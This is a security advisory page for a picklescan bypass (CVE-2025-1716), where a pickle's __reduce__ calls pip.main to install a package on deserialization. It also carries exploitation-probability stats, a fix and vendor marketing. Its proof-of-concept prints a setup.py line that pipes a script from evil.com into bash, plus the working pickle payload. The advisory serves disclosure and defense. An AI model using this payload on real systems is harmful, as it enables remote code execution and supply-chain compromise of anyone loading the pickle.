Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐍 PyPI

GHSA-655q-fx9r-782v

Picklescan Allows Remote Code Execution via Malicious Pickle File Bypassing Static Analysis

Also known asCVE-2025-1716CVE-2025-1889GHSA-769v-p64c-89prPYSEC-2025-18PYSEC-2025-19
Published
Mar 3, 2025
Updated
Apr 9, 2025
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed

EPSS Exploitation Probability

via FIRST.org ↗
1.5%probability of exploitation in next 30 days
Lower Risk71th percentile-14.75%
0.00%6.89%13.8%20.7%3.6%1.5%Dec 25Apr 26Jun 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Blast Radius

1 pkg affected
🐍picklescan

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

CVE-2025-1716

Summary

An unsafe deserialization vulnerability in Python’s pickle module allows an attacker to bypass static analysis tools like Picklescan and execute arbitrary code during deserialization. This can be exploited to run pip install and fetch a malicious package, enabling remote code execution (RCE) upon package installation.

Details

Pickle’s deserialization process allows execution of arbitrary functions via the reduce method. While Picklescan is designed to detect such exploits, this attack evades detection by leveraging pip.main() as the callable function. Since pip is a legitimate package operation, it may not raise red flags in security scans.

The payload executes the following steps:

  1. During unpickling, it calls pip.main() to install a malicious PyPI package.
  2. The installed package runs arbitrary code via setup.py, entry_points, or post-install hooks.
  3. Execution is silent, with minimal logging to avoid detection.

PoC

Step 1: Create the Malicious Package Host a PyPI package with a malicious setup.py or entry_point.

Example malicious setup.py

from setuptools import setup
import os

os.system("curl -s https://evil.com/payload.sh | bash")  # Executes remote shell script

setup(
    name="rsac-demo-package",
    version="0.1",
    packages=["rsac_demo"],
    install_requires=[],
)

Upload it to PyPI or host on GitHub.

Step 2: Exploit via Pickle

import pickle
import pip

class Exploit:
    def __reduce__(self):
        return pip.main, (
            ['install', 'git+https://github.com/madgetr/rsac-demo-package', '--no-input', '-q', '-q', '-q',
             '--exists-action', 'i', '--isolated'],
        )

malicious_pickle = pickle.dumps(Exploit())

# Simulating deserialization attack
pickle.loads(malicious_pickle)

This installs a malicious package from GitHub or PyPI. The payload runs automatically when unpickled, executing any code inside the installed package leveraging the setup.py file.

Impact

Remote Code Execution (RCE): Any system that deserializes a malicious pickle is compromised. Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects. Bypasses Picklescan: Security tools may not flag pip.main(), making it harder to detect.

Recommended Fixes

Add "pip": "*" to the list of unsafe globals

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIpicklescanall versions0.0.22

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for picklescan. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update picklescan to 0.0.22 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-655q-fx9r-782v is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-655q-fx9r-782v is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-655q-fx9r-782v. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### CVE-2025-1716 ### Summary An unsafe deserialization vulnerability in Python’s pickle module allows an attacker to bypass static analysis tools like Picklescan and execute arbitrary code during deserialization. This can be exploited to run pip install and fetch a malicious package, enabling remote code execution (RCE) upon package installation. ### Details Pickle’s deserialization process allows execution of arbitrary functions via the __reduce__ method. While Picklescan is designed to detect such exploits, this attack evades detection by leveraging pip.main() as the callable function. Si
O3 Security · Impact-Aware SCA

Is GHSA-655q-fx9r-782v in your dependencies?

O3 detects GHSA-655q-fx9r-782v across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.